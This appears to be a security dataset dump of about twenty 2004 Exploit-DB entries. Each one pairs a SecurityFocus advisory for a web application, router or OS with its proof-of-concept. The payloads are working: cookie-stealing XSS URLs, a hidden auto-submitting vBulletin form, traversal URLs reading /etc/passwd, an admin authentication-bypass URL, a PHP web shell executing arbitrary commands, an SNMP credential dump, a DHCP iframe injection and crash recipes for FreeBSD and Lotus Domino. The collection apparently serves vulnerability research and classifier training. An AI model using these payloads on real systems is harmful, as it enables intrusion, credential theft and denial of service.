QLWD/code_shield huggingface dataset:
标题: SCI Photo Chat 3.4.9 - Cross-Site Scripting EDB-ID: 24246 CVE: 2004-0673 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/10648/info

SCI Photo Chat is reported susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

The web server component of SCI Chat server will display an error message when it receives an HTTP request for an invalid file. This error message includes the complete unsanitized content of the original request.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com:1235/<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/24246
标题: Netegrity IdentityMinder Web Edition 5.6 - Management Interface Cross-Site Scripting EDB-ID: 24245 CVE: 2004-0672 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10645/info
 
Netegrity IdentityMinder is a tool designed for the Microsoft Windows platform to manage and maintain users and user accounts. The tool supports a web based interface for creating and removing users in multi-user environments.
 
It has been reported that Netegrity IdentityMinder is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials as well as arbitrary application command execution.

http://PUT_ADDRESS_HERE:7001/idmmanage/mobjattr.do?diroid=OID&attrname=Group%20Members&mobjtype=2<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24245
标题: IBM Lotus Domino Server 6 - Web Access Remote Denial of Service EDB-ID: 24243 CVE: 2004-0668 类型: DOS 平台: UNIX 发布日期: 2004-06-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/10641/info

Lotus Domino Server is reported prone to a remote denial of service vulnerability. The issue is reported to exist when a malicious email that is received on the affected server, is opened through the Domino Web Access interface by a client.

A remote attacker may exploit this condition to deny Lotus Domino service to legitimate users. 

(just paste all the lines below into the body of the mail)
--- snip here; do not paste this line --
Content-Disposition: Attachment; filename="PC210017.JPG"
Content-Type: image/jpeg;
Name="PC210017.JPG"
Content-Transfer-Encoding: Base64

/9j/4Re0RXhpZgAASUkqAAgAAAALAA4BAgAgAAAAkgAAAA8BAgAYAAAAsgAAABABAgAMAAAA
ygAAABIBAwABAAAAAQAAABoBBQABAAAA2AAAABsBBQABAAAA4AAAACgBAwABAAAAAgAAADEB
AgAJAAAA6AAAADIBAgAUAAAACAEAABMCAwABAAAAAgAAAGmHBAABAAAAHAEAAAADAABPTFlN
[Add here some megabytes of data. 1kB is not enough, but 12MB was
sufficient in all my tests]
--- snip here; do not pste this line --- URL: https://www.exploit-db.com/exploits/24243
标题: PowerPortal 1.1/1.3 - 'modules.php' Traversal Arbitrary Directory Listing EDB-ID: 24241 CVE: 2004-0664 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10622/info

PowerPortal is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application:

PowerPortal is prone to multiple cross-site scripting vulnerabilities. These cross-site scripting issues can permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If a user follows the malicious link, the attacker-supplied code executes in the Web browser of the victim computer. This attack can allow for theft of cookie-based authentication credentials and other attacks.

Additionally, PowerPortal is prone to an information disclosure vulnerability. It is reported that a remote attacker may reveal directory listings, by supplying directory traversal sequences to the 'modules.php' script.

The information disclosure vulnerability may be employed by the attacker in order to reveal potentially sensitive information regarding the layout of the filesystem on the affected computer. 

http://www.example.com/modules.php?name=gallery&files=/../../../ URL: https://www.exploit-db.com/exploits/24241
标题: ArbitroWeb PHP Proxy 0.5/0.6 - Cross-Site Scripting EDB-ID: 24231 CVE: 2004-0617 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/10592/info

It is reported that ArbitroWeb is susceptible to a cross-site scripting vulnerability in its rawURL URI parameter.

The URI parameter passed to 'index.php' called 'rawURL' contains the desired target for the proxy to connect to. This parameter is improperly sanitized, and may be used in a cross-site scripting attack.

An attacker may craft a URI that contains malicious HTML or script code. If a victim user follows this link, the HTML contained in the affected URI parameter will be executed in the context of the vulnerable site.

The attacker could use this vulnerability to steal cookie-based authentication credentials, or perform other types of attacks. 

http://www.example.com/?rawURL=&lt;script&gt;javascript:alert();&lt;/script&gt; URL: https://www.exploit-db.com/exploits/24231
标题: CuteNews 0.88/1.3 - 'show_archives.php' Cross-Site Scripting EDB-ID: 24240 CVE: 2004-0660 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10620/info
  
It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
  
The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.
  
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/show_archives.php?subaction=showcomments&id=<script>alert(document.cookie);</script>&archive=&start_from=&ucat=&&archive=&start_from=&ucat=& URL: https://www.exploit-db.com/exploits/24240
标题: CGIScript.net CSFAQ 1.0 Script - Full Path Disclosure EDB-ID: 24237 CVE: 2004-0665 类型: WEBAPPS 平台: CGI 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10618/info

A vulnerability has been identified in the application that may allow an attacker to disclose the installation path.

Successful exploitation of this vulnerability may allow an attacker to gain sensitive information about the file system that may aid in launching more direct attacks against the system.

All current versions of csFAQ are considered vulnerable to this issue. 

http://www.example.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho URL: https://www.exploit-db.com/exploits/24237
标题: Netegrity IdentityMinder Web Edition 5.6 - Null Byte Cross-Site Scripting EDB-ID: 24244 CVE: 2004-0672 类型: WEBAPPS 平台: CGI 发布日期: 2004-07-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/10645/info

Netegrity IdentityMinder is a tool designed for the Microsoft Windows platform to manage and maintain users and user accounts. The tool supports a web based interface for creating and removing users in multi-user environments.

It has been reported that Netegrity IdentityMinder is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials as well as arbitrary application command execution.

http://www.example.com/idm/siteName/ims_mainconsole_principalpopuphandler.do?searchAttrs0=%25GROUP_NAME%25&searchOperators0=EQUALS&searchFilter0=&searchOrgDN=specifiedDNValue&incChildrenOrgFlag=NO&resultsPerPage=10&oid=&imsui_taskstate=RESOLVE_SCOPE&imsui_tpnametosearch=group&numOfExpressions=1%00<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/24244
标题: ZaireWeb Solutions NewsLetter ZWS - Administrative Interface Authentication Bypass EDB-ID: 24235 CVE: 2004-0621 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10605/info

Newsletter ZWS is reported prone to an administrative interface authentication bypass vulnerability. The vulnerability exists due to a design error in the implementation of the authentication system for the interface. The flaw allows a user to set their privileges through a URI parameter passed to the 'admin.php' script.

http://www.example.com/newsletter/admin.php?f=list_user&uname=test&ulevel=1 URL: https://www.exploit-db.com/exploits/24235
标题: FreeBSD 4.10/5.x - 'execve()' Unaligned Memory Access Denial of Service EDB-ID: 24233 CVE: 2004-0618 类型: DOS 平台: FREEBSD 发布日期: 2004-06-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/10596/info


It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.

An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.

FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well. 
*/

/*
 * FreeBSD/Alpha local DoS
 *    by Marceta Milos
 *    root@marcetam.net
 *
 */

char main() { execve("/bin/ls",(int *)(main + 1), 0); } URL: https://www.exploit-db.com/exploits/24233
标题: CuteNews 0.88/1.3 - 'example1.php' Cross-Site Scripting EDB-ID: 24238 CVE: 2004-0660 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10620/info

It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.

These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/example1.php?subaction=showfull&id=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/24238
标题: CuteNews 0.88/1.3 - 'example2.php' Cross-Site Scripting EDB-ID: 24239 CVE: 2004-0660 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10620/info
 
It is reported that CuteNews is affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
The problems present themselves when malicious HTML and script code is sent to the application through the 'id' parameter of the multiple scripts.
 
These issues could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user. 

http://www.example.com/example2.php?subaction=showfull&id=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/24239
标题: McMurtrey/Whitaker & Associates Cart32 2-5 GetLatestBuilds Script - Cross-Site Scripting EDB-ID: 24236 CVE: 2004-0675 类型: WEBAPPS 平台: CGI 发布日期: 2004-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/10617/info

Cart32 is reported prone to a cross-site scripting vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If a user follows this link, the hostile code renders in the web browser of the victim user. Theft of cookie-based authentication credentials and other attacks is possible.

Cart32 version 5.0 and prior are considered prone to this issue. 

http://www.example.com/scripts/cart32.exe/GetLatestBuilds?cart32=&lt;script&gt;alert('XSS')&lt;/script&gt; URL: https://www.exploit-db.com/exploits/24236
标题: vBulletin 3.0.1 - 'newreply.php?WYSIWYG_HTML' Cross-Site Scripting EDB-ID: 24234 CVE: 2004-0620 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/10602/info

VBulletin is reported prone to an HTML injection vulnerability. This issue affects the 'newreply.php' and 'newthread.php' scripts.

An attacker may exploit this issue by including hostile HTML and script code in fields that may be viewable by other users, potentially allowing for theft of cookie-based authentication credentials and other attacks.

This issue is reported to affect VBulletin version 3.0.1, however, it is likely that other versions are affected as well.

<form action="http://www.example.com/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src=&quot;javascript:alert(document.cookie)&quot;&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt; URL: https://www.exploit-db.com/exploits/24234
标题: BT Voyager 2000 Wireless ADSL Router - SNMP Community String Information Disclosure EDB-ID: 24230 CVE: 2004-0616 类型: REMOTE 平台: HARDWARE 发布日期: 2004-06-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/10589/info

BT Voyager 2000 Wireless ADSL Router is reported prone to a sensitive information disclosure vulnerability.

It is reported that 'public' SNMP MIB community strings which, are world readable by default contain sensitive information pertaining to the internal protected network.

Data collected by exploiting this vulnerability may be used in further attacks against the victim network. 

root@abyrvalg:~# snmpwalk -v 1 -c public 192.168.1.1
SNMPv2-MIB::sysDescr.0 = STRING: BT Voyager 2000 Wireless ADSL Router
SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.2535.111.6
SNMPv2-MIB::sysUpTime.0 = Timeticks: (260430184) 30 days, 1:02:01.84
[snip]
SNMPv2-SMI::transmission.23.2.3.1.5.5.1 = STRING:
"name.surname@btbroadband.com"
SNMPv2-SMI::transmission.23.2.3.1.5.6.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.7.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.8.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.9.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.10.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.11.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.5.12.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.1 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.2 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.3 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.4 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.5 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.6 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.7 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.0.8 = ""
SNMPv2-SMI::transmission.23.2.3.1.6.5.1 = STRING: "password"
[snip] URL: https://www.exploit-db.com/exploits/24230
标题: D-Link AirPlus DI-614+ / DI-624 / DI-704 - DHCP Log HTML Injection EDB-ID: 24226 CVE: 2004-0615 类型: REMOTE 平台: HARDWARE 发布日期: 2004-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10587/info

It is reported that the DI-614+, DI-704, and the DI-624 are susceptible to an HTML injection vulnerability in their DHCP log.

An attacker who has access to the wireless, or internal network segments of the router can craft malicious DHCP hostnames, that when sent to the router, will be logged for later viewing by the administrator of the device.

The injected HTML can be used to cause the administrator to make unintended changes to the configuration of the router. Other attacks may be possible.

Although only the DI-614+, DI-704, and the DI-624 are reported vulnerable, code reuse across devices is common and other products may also be affected.

By sending four requests, all containing hostnames like the following, a complete HTML tag would be rendered, instructing the browser to request the 'restore.cgi' file.
<iframe id='
' height=0 id='
' width=0 id='
' src='restore.cgi'> URL: https://www.exploit-db.com/exploits/24226
标题: osTicket STS 1.2 - Attachment Remote Command Execution EDB-ID: 24225 CVE: 2004-0613 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10586/info

osTicket is reported prone to a remote command execution vulnerability. The issue is reported to present itself because attachments submitted as a part of a support ticket request are stored with a predictable name in a known web accessible location.

<?PHP
echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>";
if (!$cmd)die;
system($cmd);
?> URL: https://www.exploit-db.com/exploits/24225
标题: SqWebMail 4.0.4.20040524 - Email Header HTML Injection EDB-ID: 24227 CVE: 2004-0591 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/10588/info

SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.

The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header. 

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.

1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above). URL: https://www.exploit-db.com/exploits/24227
标题: phpHeaven phpMyChat 0.14.5 - 'admin.php3' Arbitrary File Access EDB-ID: 24217 CVE: 2004-2717 类型: WEBAPPS 平台: PHP 发布日期: 2004-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/10556/info
  
phpHeaven phpMyChat is reported prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and design flaws. The following specific issues can affect the application:
  
phpMyChat is prone to a HTML injection vulnerability. The issue affects the 'input.php3' script. Due to a lack of sufficient sanitization of user-supplied data, this HTML Injection vulnerability may permit an attacker to inject malicious HTML or script code into the affected application. Users who are connected to this session would have the attacker supplied HTML code rendered in their browser in the context of the vulnerable site.
  
phpMyChat is prone to multiple SQL injection vulnerabilities. Again the issues are due to a failure of the application to properly sanitize user-supplied input. The problem presents itself when SQL syntax is passed through the URI parameters of the 'usersL.php3' script. The offending parameters are used in SQL queries prior to proper sanitization.
  
An authentication bypass vulnerability is reported to affect the phpMyChat authentication system. It is reported that by saving and modifying the phpMyChat authentication screen an attacker may potentially bypass the authentication system.
  
Finally phpMyChat is reported to be prone to a file disclosure vulnerability. A user who is authenticated as a site administrator can exploit the issue. The vulnerability presents itself because directory traversal sequences are not correctly sanitized from user-supplied data. It is reported that an attacker may disclose a target file by including a relative path including directory traversal sequences to the target file as a value for a URI parameter passed to the 'admin.php3' script.

http://www.example.com/chat/admin.php3?From=admin.php3&What=Body&L=russian&user=[USER]&pswd=[YOU HASH PASSWORD]&sheet=[FILE]%00
http://[www.example.com/chat/admin.php3?From=admin.php3&What=Body&L=russian&user=admin&pswd=[YOU HASH PASSWORD]&sheet=/../../../../../../etc/passwd%00
and
http://www.example.com/chat/admin.php3?From=admin.php3&What=[FILE]%00&L=russian&user=[USER]&pswd=[YOU HASH PASSWORD]&sheet=1
http://www.example.com/chat/admin.php3?From=admin.php3&What=/../../../../../../etc/passwd%00&L=russian&user=admin&pswd=[YOU HASH PASSWORD]&sheet=1 URL: https://www.exploit-db.com/exploits/24217